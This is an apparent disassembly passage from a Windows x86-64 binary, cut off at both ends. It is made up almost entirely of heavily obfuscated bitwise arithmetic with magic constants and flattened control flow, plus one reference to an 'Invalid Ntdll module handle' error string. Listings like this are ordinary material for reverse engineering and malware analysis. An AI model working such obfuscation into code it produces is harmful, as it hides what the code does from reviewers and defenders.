or dl, cl
mov r13d, ebx
or r13b, r15b
xor r9b, 1
xor dl, 1
or dl, r9b
mov ecx, r13d
xor cl, 1
and r13b, sil
mov r9d, ecx
xor r9b, r14b
and r9b, cl
and cl, r14b
or cl, r13b
mov esi, r9d
and sil, cl
xor cl, r9b
or cl, sil
xor cl, dl
and r15b, r8b
or r8b, bl
and bl, r10b
xor cl, 1
or bl, r15b
xor bl, 1
mov edx, r8d
xor dl, bl
or bl, r8b
xor bl, 1
or bl, dl
mov edx, ecx
or dl, bl
xor bl, cl
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
xor al, 1
mov edx, ebx
xor dl, 1
mov ecx, eax
xor cl, dl
mov r8d, ecx
xor r8b, dl
and r8b, cl
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, r8d
xor dl, 1
mov eax, edx
and al, r8b
xor al, 1
mov ebx, r8d
xor bl, al
or al, r8b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
xor cl, 1
and al, cl
or al, bl
or dl, r8b
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, edi
movzx edx, byte [rbp + 0x30]
and cl, dl
xor dil, dl
or dil, cl
xor dil, 1
or dl, r11b
xor r12b, r11b
and r12b, r11b
xor r12b, 1
mov ecx, edx
xor cl, r12b
or r12b, dl
xor r12b, 1
or r12b, cl
xor r12b, dil
xor r12b, 1
and dil, r12b
xor dil, 1
mov ecx, edi
xor cl, r12b
or dil, r12b
xor dil, 1
or dil, cl
mov ecx, edi
xor cl, 1
mov edx, ecx
and dl, dil
xor cl, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, cl
mov r8d, eax
xor r8b, 1
mov ebx, edx
xor bl, r8b
xor bl, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, bl
and cl, dl
or r8b, dl
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0x174d6e2a
mov edi, 0x6a226f15
cmovne ecx, edi
test dl, 1
mov eax, ecx
cmovne eax, edi
test bl, 1
cmove eax, ecx
mov ecx, dword [rbp + 0x14]
mov dword [rbp + 0xd0], ecx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, 0x6a226f15
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
sub rsp, 0x20
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.140021420
add rsp, 0x20
mov ecx, dword [0x1400a6668]
lea r9d, [rcx - 1]
imul r9d, ecx
mov esi, r9d
not esi
mov ecx, r9d
mov eax, r9d
and eax, 0x264d1fb1
mov r10d, esi
and r10d, 0xd9b2e04e
or r10d, eax
xor r10d, 0xd9b2e04e
or r10d, esi
and r9d, esi
mov r8d, esi
and r8d, r9d
xor r9d, esi
and esi, 0x72271f94
and ecx, 0x8dd8e06b
or ecx, esi
mov eax, ecx
not eax
and eax, 0x8dd8e06b
and ecx, 0x72271f94
or ecx, eax
mov eax, ecx
not eax
and eax, 0x36b9d2af
and ecx, 0xc9462d50
or ecx, eax
mov eax, ecx
xor eax, 0x40402050
xor ecx, 0x1030120e
and ecx, 0x99361f0e
and eax, 0x66c9e0f1
or eax, ecx
mov ecx, eax
xor ecx, 0x66c9e0f1
mov edx, r10d
not edx
and edx, 0x98b56c52
and r10d, 0x674a93ad
or r10d, edx
mov edx, r10d
xor edx, 0x674a93ad
mov ebx, r10d
xor ebx, 0x10216852
mov esi, eax
xor esi, 0x18141d0c
and esi, 0x5e545d7d
xor eax, 0xbf88d350
and eax, ecx
mov edi, ecx
and edi, 0xa1aba282
or edi, esi
mov r11d, edi
xor r11d, 0xa1aba282
and ebx, 0x3529fbd6
xor r10d, 0xbe0ba00c
and r10d, edx
and edx, 0xcad60429
or edx, ebx
mov ebx, edx
xor ebx, 0xcad60429
xor edi, 0x58401121
or edi, 0x26becc5e
mov ecx, edi
not ecx
xor edx, 0x11013380
or edx, 0x26becc5e
mov r15d, edx
not r15d
mov r14d, edi
and r14d, 0x35d62af4
and ecx, 0xc8011101
or ecx, r14d
mov esi, eax
not esi
or edi, esi
and esi, 0x35d62af4
and eax, 0xca29d50b
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov eax, r10d
not eax
mov esi, edx
and esi, 0x338fd008
and r15d, 0xc84023a1
or r15d, esi
or edx, eax
and eax, 0x338fd008
and r10d, 0xcc702ff7
or r10d, eax
xor r10d, r15d
not edx
or edx, r10d
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, r11d
and eax, ebx
xor ebx, r11d
or ebx, eax
mov eax, ebx
not eax
and eax, 0x2d9b2e77
and ebx, 0xd264d188
or ebx, eax
mov eax, ebx
xor eax, 0x5004d008
xor ebx, 0x2d9b2e77
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x87e00194
and edx, 0x781ffe6b
or edx, edi
or ecx, ebx
and ebx, 0x87e00194
and eax, 0x781ffe6b
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xeaca13a5
and ecx, 0x1535ec5a
or ecx, eax
mov eax, ecx
xor eax, 0x85a
xor ecx, 0xc84a0284
or eax, 0xdd7fe684
mov ebx, eax
not ebx
or ecx, 0x2280197b
mov edx, ecx
not edx
and eax, 0x7abd365f
and ebx, 0x920
or ebx, eax
and ecx, 0x7abd365f
and edx, 0x8542c080
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
and eax, 0x328f66a8
and edx, 0xcd709957
or edx, eax
mov eax, edx
xor eax, 0x2108241
xor edx, 0x71aa5da6
mov ecx, edx
and ecx, 0x9dc534bc
and eax, 0x623acb43
or eax, ecx
xor eax, 0xfc6016c9
xor edx, eax
and edx, eax
or r9d, r8d
mov eax, r9d
xor eax, 0x61a52275
and eax, r9d
mov ecx, r9d
not ecx
and ecx, 0x9e5add8a
and r9d, 0x61a52275
or r9d, ecx
mov ecx, eax
not ecx
mov ebx, r9d
not ebx
mov edi, ecx
and edi, 0x89b6beb0
and eax, 0x7649414f
or eax, edi
or ecx, ebx
and ebx, 0x89b6beb0
and r9d, 0x7649414f
or r9d, ebx
xor r9d, eax
not ecx
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x595beb6d
and ecx, 0xa6a41492
or ecx, eax
mov eax, ecx
xor eax, 0x40012
xor ecx, 0x595beb6d
mov ebx, ecx
and ebx, 0xbeb09fe1
and eax, 0x414f601e
or eax, ebx
xor eax, 0x414f601e
or eax, ecx
mov r10d, eax
not r10d
mov esi, edx
mov r8d, edx
mov edi, edx
xor edi, 0x25db6837
and edi, edx
mov r11d, edx
not r11d
mov edx, r11d
and edx, 0x6d899ae9
and esi, 0x92766516
or esi, edx
mov edx, esi
xor edx, 0x90364510
mov r9d, eax
and r9d, 0xbe5cb76f
mov ebx, r10d
and ebx, 0x41a34890
or ebx, r9d
mov ecx, ebx
xor ecx, 0x40234010
xor esi, 0x6d899ae9
xor ebx, 0xbe5cb76f
mov r9d, esi
and r9d, 0x2bc8288f
and edx, 0xd437d770
or edx, r9d
or esi, ebx
and ebx, 0x2bc8288f
and ecx, 0xd437d770
or ecx, ebx
xor ecx, edx
not esi
or esi, ecx
mov r9d, esi
not r9d
and r11d, 0x21012826
and r8d, 0x4da4011
or r8d, r11d
xor r8d, 0x4da4011
mov ecx, eax
and ecx, 0x1d22833
and r10d, 0x24094004
or r10d, ecx
mov ebx, r10d
xor ebx, 0x20004000
xor r10d, 0x42621d2a
or eax, 0x25db6837
mov ecx, eax
not ecx
mov edx, r8d
and edx, edi
xor edi, r8d
or edi, edx
and r10d, 0x466b1d2e
and ebx, 0x21906011
or ebx, r10d
and eax, 0x466b1d2e
and ecx, 0x980482c0
or ecx, eax
xor ecx, ebx
mov eax, edi
not eax
and eax, ecx
not ecx
and ecx, edi
or ecx, eax
mov edx, ecx
not edx
mov edi, esi
or edi, edx
mov ebx, edi
not ebx
and esi, 0x7b341159
and r9d, 0x84cbeea6
or r9d, esi
and edx, 0x7b341159
and ecx, 0x84cbeea6
or ecx, edx
xor ecx, r9d
mov edx, ecx
not edx
mov eax, edi
and eax, 0x7971a152
and ebx, 0x868e5ead
or ebx, eax
or edi, edx
and edx, 0x7971a152
and ecx, 0x868e5ead
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov esi, edi
not esi
mov edx, esi
and edx, 0x9e03212e
mov eax, edi
and eax, 0x61fcded1
or eax, edx
mov ebx, eax
xor ebx, 0x200400c0
xor eax, 0x10104
mov ecx, esi
or ecx, 0xa40d45d7
mov edx, ecx
not edx
or eax, 0x8721820
and eax, 0x87b5d35
and ebx, 0xa40400c2
or ebx, eax
and ecx, 0x87b5d35
and edx, 0x5380a208
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
and eax, 0xa78ae2fc
and edx, 0x58751d03
or edx, eax
mov eax, edx
xor eax, 0xd84040d4
xor edx, 0x305840a
and edx, 0x273d9c0a
and eax, 0xd8c263f5
or eax, edx
mov edx, eax
xor edx, 0x48024060
xor eax, 2
and eax, 0x87
and edx, 0x4c0ec468
or edx, eax
mov r9d, edx
xor r9d, 0x4c0ec468
mov ebx, edx
xor ebx, 0x90903880
and esi, 0x2509afe7
and edi, 0xdaf65018
or edi, esi
mov r10d, edi
xor r10d, 0xdaf65018
xor edi, 0x240881e6
and edi, 0x6c0cc1e6
mov ecx, r10d
and ecx, 0x93f33e19
or ecx, edi
xor ecx, 0x20020509
and r10d, 0x4c0ec4ef
or r10d, ecx
mov r8d, r10d
not r8d
and ebx, 0xd09c3c88
xor edx, 0x408806c
and edx, r9d
mov esi, r9d
and esi, 0xc02c067
or esi, ebx
mov r9d, esi
xor r9d, 0x2f63c377
xor esi, 0xd09c3c88
mov edi, r9d
and edi, 0xd8d75f04
mov ebx, r10d
xor ebx, 0x2728a0fb
and ebx, r10d
mov ecx, r10d
or ecx, 0xd8d75f04
mov eax, ecx
not eax
mov r11d, edi
and r11d, edx
xor edx, edi
or edx, r11d
mov edi, ebx
not edi
mov r11d, edi
and r11d, 0x3ec00b3d
and ebx, 0xc13ff4c2
or ebx, r11d
or edi, ecx
and ecx, 0x3ec00b3d
and eax, 0x128a0c2
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov eax, edx
not eax
and eax, edi
not edi
and edi, edx
or edi, eax
mov eax, esi
and eax, 0x4c02c4e9
and r9d, 0x10ed0806
or r9d, eax
or esi, r8d
and r8d, 0xef12f7f9
and r10d, 0x10ed0806
or r10d, r8d
xor r10d, r9d
not esi
or esi, r10d
mov eax, esi
not eax
and eax, 0x75d0b388
and esi, 0x8a2f4c77
or esi, eax
xor esi, 0x8a2f4c77
mov eax, edi
and eax, esi
xor esi, edi
or esi, eax
mov eax, esi
not eax
and eax, 0x2dabe69a
and esi, 0xd2541965
or esi, eax
mov edi, esi
not edi
mov ecx, edi
and ecx, 0xbc236405
mov eax, esi
and eax, 0x43dc9bfa
or eax, ecx
xor eax, 0x43dc9bfa
mov edx, edi
and edx, esi
mov ecx, eax
and ecx, edx
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov r9d, ecx
or r9d, 0xfffffffe
mov ebx, r9d
not ebx
and ecx, 0x18d5120d
and eax, 0xe72aedf2
or eax, ecx
mov ecx, eax
xor ecx, 0x1054000c
xor eax, 0xe72aedf3
or r9d, eax
and eax, 0x8d813bc2
and ecx, 0x727ec43d
or ecx, eax
or ebx, 0x8d813bc2
xor ebx, ecx
not r9d
or r9d, ebx
mov eax, r9d
not eax
and eax, 0xa7104135
mov ecx, r9d
and ecx, 0x180000c8
or ecx, eax
xor ecx, 0x180000c8
and r9d, 0x40efbe02
or r9d, ecx
mov eax, r9d
not eax
and eax, 0x40efbe02
and r9d, 0xbf1041fd
or r9d, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
and eax, 0x80090044
and edx, 0x1190d000
or edx, eax
xor edx, 0x1190d000
or edx, 0x6e662fbb
and edi, 0x9199d044
xor esi, 0x6e662fbb
or esi, edi
mov r8d, edx
mov ecx, edx
mov edi, esi
xor edi, 0x8436c459
and edi, esi
mov r11d, esi
mov r10d, edx
and r10d, esi
xor esi, edx
not edx
and r8d, 0x7bc93ba6
xor ecx, 0x8010c040
and ecx, edx
or r11d, 0x7bc93ba6
mov edx, r11d
not edx
mov ebx, r8d
and ebx, ecx
xor ecx, r8d
or ecx, ebx
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x74cb38af
and edi, 0x8b34c750
or edi, ebx
or eax, r11d
and r11d, 0x74cb38af
and edx, 0x8034c450
or edx, r11d
xor edx, edi
not eax
or eax, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
or eax, edx
or esi, r10d
mov ecx, esi
not ecx
and ecx, 0x535e8ee0
and esi, 0xaca1711f
or esi, ecx
mov edx, esi
xor edx, 0xca1511a
mov ecx, eax
not ecx
xor esi, 0x535e8ee0
mov ebx, ecx
and ebx, 0xf248a825
and eax, 0xdb757da
or eax, ebx
or ecx, esi
and esi, 0xf248a825
and edx, 0xdb757da
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x310a0001
and ecx, 0x4214022a
or ecx, edx
mov ebx, ecx
xor ebx, 0x40020
xor ecx, 0xbd22e8d1
or eax, 0x731e022b
mov edx, eax
not edx
and ecx, 0xff32eadb
and ebx, 0xc0020
or ebx, ecx
and eax, 0xff32eadb
and edx, 0xc11504
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0x1537b718
and edx, 0xeac848e7
or edx, eax
mov edi, edx
xor edi, 0x84f9a89
xor edx, 0xf7b06576
mov eax, edx
and eax, 0xb10620b
mov ecx, edi
and ecx, 0xf4ef9df4
or ecx, eax
mov ebx, ecx
xor ebx, 0xf4ef9df4
mov eax, r9d
not eax
and ebx, eax
xor ecx, 0xb10620b
and ecx, r9d
or ecx, ebx
mov r8d, ecx
xor r8d, eax
and r8d, ecx
mov ecx, eax
and ecx, 0x5bcb0cba
and r9d, 0xa434f345
or r9d, ecx
xor r9d, 0x5bcb0cba
or r9d, edx
mov ecx, r9d
not ecx
or eax, edi
mov edx, eax
not edx
mov ebx, r9d
and ebx, 0xc8d2e1b9
and ecx, 0x372d1e46
or ecx, ebx
or r9d, eax
and eax, 0xc8d2e1b9
and edx, 0x372d1e46
or edx, eax
xor edx, ecx
not r9d
or r9d, edx
mov r10d, r8d
not r10d
mov r11d, r9d
not r11d
mov esi, r10d
and esi, 0x3949f3cf
mov edi, r8d
xor edi, 0x3949f3cf
and edi, r8d
mov edx, r9d
or edx, 0xc6b60c30
mov ebx, edx
not ebx
mov eax, r9d
xor eax, 0x3949f3cf
and eax, r9d
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0x7ccc6eea
and ebx, 0x1019105
or ebx, esi
or edx, ecx
and ecx, 0x7ccc6eea
and eax, 0x83339115
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, r8d
and eax, 0x337b749
and r10d, 0xfcc848b6
or r10d, eax
or r8d, r9d
and r9d, 0x337b749
and r11d, 0xfcc848b6
or r11d, r9d
xor r11d, r10d
not r8d
or r8d, r11d
mov eax, r8d
not eax
and eax, 0x247738e2
and r8d, 0xdb88c71d
or r8d, eax
xor r8d, 0xdb88c71d
mov eax, edx
and eax, r8d
xor r8d, edx
or r8d, eax
mov r9d, r8d
not r9d
mov eax, r9d
and eax, 0x1c10a000
mov ecx, r8d
and ecx, 0x40651054
or ecx, eax
xor ecx, 0x40651054
mov eax, r8d
and eax, 0xa38a4fab
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb18e8439
and eax, 0x4e717bc6
or eax, ecx
mov ecx, eax
xor ecx, 0x1200cb80
xor eax, 0x2d31004d
and ecx, 0xd2caffa0
and eax, 0x2d35005f
or eax, ecx
mov r10d, eax
xor r10d, 0x2d35005f
mov ecx, eax
xor ecx, 0xd2caffa0
xor eax, 0x847f4816
mov ebx, eax
and ebx, ecx
and eax, r10d
mov esi, ebx
not esi
mov edx, eax
not edx
mov edi, esi
and edi, 0x71527bc0
and ebx, 0x8ead843f
or ebx, edi
or esi, edx
and edx, 0x71527bc0
and eax, 0x8ead843f
or eax, edx
xor eax, ebx
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0xcb24b33
and esi, 0xf34db4cc
or esi, eax
xor esi, 0xa5f8037a
or ecx, r10d
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x5b01f1e4
and edx, ecx
or ecx, 0xa4fe0e1b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe3738aef
and eax, 0x18007100
or eax, edi
or ecx, ebx
and ebx, 0xe3738aef
and edx, 0x1c8c7510
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xa4fe0e1b
and ecx, 0x5b01f1e4
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 0x1fe65f9b
mov ebx, eax
not ebx
and edx, 0x7ee93ad1
and ecx, 0x8116c52e
or ecx, edx
mov edx, ecx
xor edx, 0x9ed08085
xor ecx, 0x610f654a
mov edi, eax
and edi, 0x202b3f32
and ebx, 0xc0108044
or ebx, edi
or eax, ecx
and ecx, 0x202b3f32
and edx, 0xdfd4c0cd
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov edx, eax
xor edx, 0x2c2764e1
and edx, eax
not eax
and eax, 0x2c2764e1
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xd3d89b1e
and edx, 0x2c2764e1
or edx, eax
mov r12d, edx
not r12d
and edx, 0xbfb22f33
and r12d, 0x404dd0cc
or r12d, edx
mov r11d, r12d
xor r11d, 0x404dd0cc
xor r12d, 0xbfb22f33
mov edx, r9d
and edx, 0xba780253
mov eax, r8d
and eax, 0x4587fdac
or eax, edx
mov edx, eax
not edx
and edx, 0x548b5e91
and eax, 0xab74a16e
or eax, edx
mov edx, eax
xor edx, 0xe0100140
and r9d, 0xd220d1bc
and r8d, 0x2ddf2e43
or r8d, r9d
mov r13d, r8d
xor r13d, 0x2c520c42
xor eax, 0xeeafca6
mov ebx, eax
and ebx, 0x138d22bd
and edx, 0xec72dd42
or edx, ebx
xor r8d, 0x120000bc
and r8d, 0x138d22bd
and r13d, 0xec72dd42
or r13d, r8d
xor r13d, edx
not r13d
or r13d, eax
mov ecx, r13d
not ecx
mov edx, r12d
and edx, 0x91c81130
mov ebx, r11d
and ebx, 0x803480a
or ebx, edx
xor ebx, 0x803480a
mov r14d, r11d
and r14d, 0x6634a6c5
or r14d, ebx
mov edx, r14d
not edx
and edx, 0xe164347b
and r14d, 0x1e9bcb84
or r14d, edx
mov r9d, r14d
xor r9d, 0x875092be
mov edx, r13d
and edx, 0xe54a2018
mov eax, ecx
and eax, 0x1ab1d424
or eax, edx
xor eax, 0x1ab1d424
and ecx, 0x40bc3
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6fff0ec3
and ecx, 0x9000f13c
or ecx, eax
mov r15d, ecx
mov r8d, r14d
xor r8d, 0x78af6d41
mov r10d, r8d
and r10d, 0x896f9c89
mov esi, r9d
xor r14d, 0x5a8c085f
and r14d, r9d
and r9d, 0x76906376
or r9d, r10d
not r9d
or r9d, r8d
mov eax, r9d
not eax
mov edx, r12d
and edx, 0x76906376
and r11d, 0x896f9c89
or r11d, edx
xor r12d, r11d
and r12d, r11d
mov r11d, ecx
xor r11d, 0x9004faff
mov edx, r11d
and edx, 0x896f9c89
xor ecx, 0x196b6676
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1929ceb1
and ecx, 0xe6d6314e
or ecx, edx
mov edx, r13d
and edx, 0x76906376
xor r13d, 0x76906376
or r13d, edx
mov edx, r13d
not edx
and edx, 0xe676c7a7
and r13d, 0x19893858
or r13d, edx
mov ebx, r9d
and r9d, 0x39af00cf
and eax, 0xc650ff30
or eax, r9d
mov edx, r12d
not edx
or ebx, edx
and edx, 0x39af00cf
and r12d, 0xc650ff30
or r12d, edx
mov edx, ebx
not edx
xor r12d, eax
mov eax, ebx
and eax, 0xc4634af2
and edx, 0x3b9cb50d
or edx, eax
mov eax, r12d
not eax
or ebx, eax
and eax, 0xc4634af2
and r12d, 0x3b9cb50d
or r12d, eax
mov edi, ecx
xor edi, 0xe6d6314e
xor r12d, edx
mov edx, r13d
xor r13d, 0xe676c7a7
not ebx
or ebx, r12d
mov eax, edi
xor eax, r13d
and eax, edi
xor ecx, 0x1129c020
and ecx, 0x737bd064
and edi, 0x8c842f9b
or edi, ecx
mov r10d, dword [0x1400a6664]
xor r15d, 0x6ffb0500
xor edx, 0x8802818
and r13d, 0x737bd064
and edx, 0x8c842f9b
or edx, r13d
xor edx, edi
mov r12d, eax
not r12d
mov ecx, r12d
and ecx, 0xf76e27a7
and eax, 0x891d858
or eax, ecx
mov ecx, edx
not ecx
or r12d, ecx
and ecx, 0xf76e27a7
and edx, 0x891d858
or edx, ecx
xor edx, eax
not r12d
or r12d, edx
mov eax, ebx
not eax
mov edx, r12d
not edx
and edx, 0xbbe5cf87
mov ecx, r12d
and ecx, 0x441a3078
or ecx, edx
mov edx, ecx
xor edx, 0x441a3078
xor ecx, 0x5a037bca
and ecx, edx
mov r9d, eax
or r9d, 0xe1e6b44d
or ebx, 0x1a014232
and ebx, 0xbb615673
and eax, 0x4086a00c
or eax, ebx
mov edx, r9d
not edx
and r12d, 0x1e194bb2
and r9d, 0xbb615673
and edx, 0x4180980
or edx, r9d
xor edx, eax
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
mov eax, edx
not eax
and eax, r12d
not r12d
and r12d, edx
or r12d, eax
and r8d, 0x9dbb048d
and esi, 0x6244fb72
or esi, r8d
mov eax, esi
xor eax, 0x6244fb72
and r11d, 0x26d8dbd3
mov edx, r15d
and edx, 0xd927242c
or edx, r11d
mov ecx, edx
xor ecx, 0xd927242c
xor esi, 0x40679e6c
and esi, eax
xor edx, 0xfb044132
and edx, ecx
and r15d, 0x2223651e
mov ebx, esi
and ebx, r14d
xor r14d, esi
or r14d, ebx
mov ebx, edx
and ebx, r15d
xor r15d, edx
or r15d, ebx
mov edx, r14d
not edx
and edx, r15d
not r15d
and r15d, r14d
or r15d, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xe3031315
and ecx, 0x1cfcecea
or ecx, eax
mov eax, ecx
xor eax, 0x8b80ca2
mov edx, r15d
not edx
xor ecx, 0xe3031315
mov ebx, edx
and ebx, 0x7545e059
and r15d, 0x8aba1fa6
or r15d, ebx
or edx, ecx
and ecx, 0x7545e059
and eax, 0x8aba1fa6
or eax, ecx
xor eax, r15d
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xce82bd33
and edx, 0x317d42cc
or edx, eax
mov eax, edx
not eax
and eax, 0x317d42cc
and edx, 0xce82bd33
or edx, eax
mov r8d, r12d
not r8d
mov r9d, edx
not r9d
mov esi, r12d
or esi, 0x422bf368
mov ecx, esi
not ecx
mov edi, r12d
xor edi, 0xbdd40c97
and edi, r12d
mov r14d, edx
or r14d, 0x422bf368
mov ebx, r14d
not ebx
mov r11d, esi
and r11d, 0x9e691eff
and ecx, 0x21940000
or ecx, r11d
mov eax, edi
not eax
or esi, eax
and eax, 0x9e691eff
and edi, 0x6196e100
or edi, eax
mov eax, r9d
or eax, 0xbdd40c97
xor edi, ecx
mov ecx, eax
not ecx
not esi
or esi, edi
and r14d, 0xefd30ff0
and ebx, 0x10040007
or ebx, r14d
and eax, 0xefd30ff0
and ecx, 0x28f008
or ecx, eax
xor ecx, ebx
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
mov eax, r12d
and eax, 0x29ffc8dc
and r8d, 0xd6003723
or r8d, eax
or r12d, edx
and edx, 0x29ffc8dc
and r9d, 0xd6003723
or r9d, edx
xor r9d, r8d
not r12d
or r12d, r9d
mov eax, r12d
not eax
and eax, 0x5f67f773
and r12d, 0xa098088c
or r12d, eax
xor r12d, 0xa098088c
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
mov edx, r12d
not edx
mov eax, edx
and eax, r12d
mov ecx, eax
not ecx
mov ebx, r12d
and ebx, 0xb3eecfa2
mov edi, edx
and edi, 0x4c11305d
or edi, ebx
mov ebx, r12d
or ebx, ecx
and ecx, 0xb3eecfa2
and eax, 0x4c11305d
or eax, ecx
xor eax, edi
not ebx
or ebx, eax
mov ecx, ebx
not ecx
and ebx, 0x43e420a7
and ecx, 0xbc1bdf58
or ecx, ebx
mov eax, ecx
xor eax, 0x40f870a3
xor ecx, 0xbc1bdf58
and ecx, eax
mov eax, edx
and eax, 0x9792e44b
and r12d, 0x686d1bb4
or r12d, eax
xor r12d, 0x948eb44f
xor edx, r12d
and edx, r12d
mov ebx, ecx
mov eax, ecx
xor eax, 0xbdebe377
and eax, ecx
not ecx
and ecx, 0x3f8f8548
and ebx, 0xc0707ab7
or ebx, ecx
xor ebx, 0xc0707ab7
mov ecx, edx
not ecx
and ecx, 0x937b0af3
mov r11d, edx
and r11d, 0x6c84f50c
or r11d, ecx
xor r11d, 0x6c84f50c
mov ecx, r11d
mov esi, ebx
and esi, r11d
xor r11d, ebx
and ebx, 0xbdebe377
and ecx, 0xbdebe377
and edx, 0x42141c88
or edx, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x493fe75
and eax, 0xfb6c018a
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x493fe75
and edx, 0xfb6c018a
or edx, ecx
xor edx, eax
or r11d, esi
not r11d
mov eax, edx
and eax, r11d
xor r11d, edx
or r11d, eax
mov eax, r11d
not eax
and eax, 0xe305f060
and r11d, 0x1cfa0f9f
or r11d, eax
mov r8d, r11d
not r8d
mov eax, r8d
and eax, 0x2fd3df9a
mov ecx, r11d
and ecx, 0xd02c2065
or ecx, eax
mov eax, ecx
xor eax, 0x90080000
xor ecx, 0x1d3d21a
and ecx, 0x41f7f27f
and eax, 0xbe080d80
or eax, ecx
mov ecx, eax
xor ecx, 0x94080c80
and ecx, 0x95bc3cbc
xor eax, 0x2bb4313c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x14a91144
and eax, 0xeb56eebb
or eax, ecx
mov edx, eax
xor edx, 0xeb56eebb
mov ebx, r8d
and ebx, 0x2454baa9
mov ecx, r11d
and ecx, 0xdbab4556
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4a034142
and ebx, 0x6a43c343
xor ecx, 0xb1e88615
or ecx, ebx
mov esi, ecx
not esi
xor eax, 0x10090104
and eax, 0x180f0b8c
mov ebx, edx
and ebx, 0xe7f0f473
or ebx, eax
mov r9d, ebx
xor r9d, 0xe7f0f473
mov eax, ecx
and eax, 0xfae74aca
xor ecx, 0xfab35df7
and ecx, esi
and esi, 0x518b535
or esi, eax
mov eax, esi
xor eax, 0x518b535
xor ebx, 0x1d43a984
and ebx, r9d
and edx, 0xfab35df7
xor esi, 0xffabe8c2
and esi, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov edi, esi
and edi, ecx
xor ecx, esi
or ecx, edi
mov esi, edx
not esi
and esi, 0xa82e5cfb
and edx, 0x57d1a304
or edx, esi
mov esi, ecx
not esi
and esi, 0xa82e5cfb
and ecx, 0x57d1a304
or ecx, esi
xor ecx, edx
mov edx, r9d
and edx, eax
xor eax, r9d
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xd6073658
and ecx, 0x29f8c9a7
or ecx, edi
or ebx, eax
and eax, 0xd6073658
and edx, 0x29f8c9a7
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
xor eax, 0x6a43c343
and eax, ebx
not ebx
and ebx, 0x6a43c343
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ebx, eax
xor ebx, 0x2123d7ac
and ebx, eax
not eax
and eax, 0x2123d7ac
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x9600eaa4
and ebx, 0x69ff155b
or ebx, eax
mov ecx, ebx
xor ecx, 0x48dcc2f7
and r8d, 0x397003db
and r11d, 0xc68ffc24
or r11d, r8d
mov edx, r11d
xor edx, 0xc68ffc24
mov eax, r11d
xor eax, 0x181003c9
mov edi, ebx
xor edi, 0xb7233d08
and eax, 0x1a143fcd
xor r11d, 0x40b26293
and r11d, edx
and edx, 0xe5ebc032
or edx, eax
mov eax, edx
xor eax, 0xe5ebc032
mov r8d, edi
and r8d, eax
xor eax, edi
and edi, 0x863d9eb7
xor ebx, 0xcee15c40
and ebx, ecx
xor edx, 0x2141e85
or edx, 0x79c26148
mov ecx, edx
not ecx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, r11d
not edi
mov esi, edx
and esi, 0x5a7c649a
and ecx, 0x84019a25
or ecx, esi
or edx, edi
and edi, 0x5a7c649a
